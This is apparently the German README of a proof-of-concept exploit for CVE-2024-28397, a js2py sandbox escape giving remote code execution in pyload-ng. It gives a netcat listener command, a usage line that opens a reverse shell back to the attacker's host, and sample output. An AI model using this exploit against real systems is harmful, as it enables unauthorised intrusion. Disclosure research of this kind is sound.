Remote Code Execution – CVE-2024-28397 (pyload-ng / js2py)

Dieses Repository enthält einen Proof-of-Concept (PoC)-Exploit für CVE-2024-28397, eine Remote Code Execution-Schwachstelle, die pyload-ng aufgrund unsicherer Verwendung von js2py betrifft.

Haftungsausschluss:
Dieser PoC dient ausschließlich zu Bildungs- und Forschungszwecken.
Verwenden Sie ihn nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
Der Autor übernimmt keine Verantwortung für jeglichen Missbrauch dieses Codes.

---

Details zur Schwachstelle

• CVE ID: CVE-2024-28397
• Komponente: js2py in pyload-ng
• Auswirkungen: Remote Code Execution (RCE)
• Angriffsvektor: Ein bösartiges JS-Payload entkommt der js2py-Sandbox und führt beliebige Systembefehle aus.

---

Voraussetzungen & Einrichtung

Sie benötigen Python 3.x, die requests-Bibliothek und netcat zum Abfangen der Reverse Shell.

• Ziel → Angreifbare pyload-ng-Instanz mit erreichbarem /run_code-Endpunkt

Listener → Vor dem Ausführen des Exploits starten:

nc -lvnp 4444

Verwendung:

python3 exploit.py -url http://target.com -lhost YOUR_IP -lport 4444 -user attacker -passwd attacker123

Beispielausgabe:

• [+] Registrierung erfolgreich!
• [+] Login erfolgreich
• [+] exploit funktioniert